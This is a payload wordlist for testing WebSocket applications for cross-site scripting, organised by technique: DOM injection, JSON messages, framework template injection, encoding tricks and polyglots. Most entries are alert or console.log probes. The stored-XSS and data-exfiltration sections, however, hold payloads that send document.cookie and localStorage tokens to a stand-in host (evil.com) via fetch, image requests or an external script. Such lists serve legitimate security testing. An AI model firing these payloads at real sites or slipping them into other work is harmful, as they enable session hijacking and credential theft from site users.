# WebSocket XSS Payloads
# Payloads specifically designed for WebSocket-based XSS testing

# ============== Basic WebSocket XSS ==============
<script>alert('WebSocket XSS')</script>
<img src=x onerror=alert('WebSocket XSS')>
<svg onload=alert('WebSocket XSS')>
<iframe src="javascript:alert('WebSocket XSS')">

# ============== WebSocket Message Reflection ==============
# These payloads test if messages are reflected in the DOM
WS_XSS_TEST_MARKER
"WS_XSS_TEST_MARKER"
'WS_XSS_TEST_MARKER'

# ============== DOM Injection via WebSocket ==============
# These payloads test if WebSocket messages are directly inserted into innerHTML
<img src=x onerror="console.log('WS_XSS_INJECTION')">
<script>console.log('WS_XSS_INJECTION')</script>
<details open ontoggle=console.log('WS_XSS_INJECTION')>
<marquee onstart=console.log('WS_XSS_INJECTION')>

# ============== WebSocket Stored XSS ==============
# Payloads for stored XSS via WebSocket (persisted and shown to other users)
<script src=https://evil.com/ws_xss.js></script>
<img src=x onerror="fetch('https://evil.com/ws_log?c='+document.cookie)">
<svg onload=fetch("https://evil.com/ws_log?c="+document.cookie)>

# ============== JSON Message Injection ==============
# For WebSocket applications using JSON messages
{"message":"<script>alert('XSS')</script>"}
{"content":"<img src=x onerror=alert('XSS')>","type":"text"}
{"user":"admin","msg":"<script>alert('XSS')</script>"}
{"data":"<svg onload=alert('XSS')>"}

# ============== Event-based WebSocket XSS ==============
# For testing event handlers on WebSocket messages
<x onmouseover=alert('WebSocket XSS')>
<div onmouseenter=alert('WebSocket XSS')>
<span onmouseout=alert('WebSocket XSS')>

# ============== Unicode Obfuscation for WebSocket ==============
\u003Cscript\u003Ealert('WebSocket XSS')\u003C/script\u003E
\u003Cimg src=x onerror=alert('WebSocket XSS')\u003E

# ============== Base64 Encoded (for WebSocket binary mode) ==============
PHNjcmlwdD5hbGVydCgnV2ViU29ja2V0WFNTJyk8L3NjcmlwdD4=
PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KCdXZWJTb2NrZXRYU1MnKT4=

# ============== WebSocket Chat/Application Specific ==============
# Common patterns in chat applications
<script>alert(document.cookie)</script>
<img src=x onerror="alert(document.domain)">
<svg onload=alert(localStorage.getItem('token'))>

# ============== WebSocket Data Exfiltration ==============
<script>new Image().src='https://evil.com/ws?c='+document.cookie</script>
<img src=x onerror="fetch('https://evil.com/?t='+localStorage.token)">
<script>fetch('https://evil.com/ws?q='+btoa(document.cookie))</script>

# ============== Framework-specific WebSocket XSS ==============
# AngularJS WebSocket binding
{{$on.constructor('alert(\"WebSocket XSS\")')()}}
{{constructor.constructor('alert(\"WebSocket XSS\")')()}}

# React dangerouslySetInnerHTML via WebSocket
<img src=x onerror="window.ReactRoot=''">

# Vue.js v-html via WebSocket
{{'__proto__.constructor.constructor(\'alert(\"WebSocket XSS\")\')()}}

# ============== WebSocket + Protocol Handler ==============
javascript:alert('WebSocket XSS')
data:text/html,<script>alert('WebSocket XSS')</script>
vbscript:alert('WebSocket XSS')

# ============== Polyglot WebSocket Payloads ==============
# Work in multiple contexts
javascript://%250Aalert(1)//%250A?ws://
%3Cscript%3Ealert(1)%3C/script%3E
'%3Cscript%3Ealert(1)%3C/script%3E'
"%3Cscript%3Ealert(1)%3C/script%3E"

# ============== WebSocket Binary Mode XSS ==============
# For WebSocket applications expecting binary data
# (SVG as binary)
<svg+xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>

# ============== WebSocket Message Queue Testing ==============
# Payloads to test if messages are queued and rendered later
<script>setTimeout(()=>alert('WS Queued XSS'),5000)</script>
<img src=x onerror="setTimeout(()=>alert('WS'),3000)">

# ============== WebSocket Specific Characters ==============
# Test special characters that might be handled differently in WebSocket
<script>alert(String.fromCharCode(87,83,88))</script>
<script>alert('\x57\x53\x58')</script>
<script>alert('\u0057\u0053\u0058')</script>

# ============== WebSocket Broadcast XSS ==============
# For testing if message is broadcasted to all connected clients
<script>if(window.ws_xss_flag){alert('WS Broadcast XSS')}else{window.ws_xss_flag=true}</script>

# ============== WebSocket Timing Attack ==============
<script>new Date().getTime()%20===0&&alert('WS Timing XSS')</script>

# ============== WebSocket File Upload via Message ==============
# For testing file upload functionality over WebSocket
{"filename":"<script>alert('WS File XSS')</script>","content":"data"}
{"file":{"name":"xss.svg","data":"<svg onload=alert('WS XSS')>"}}
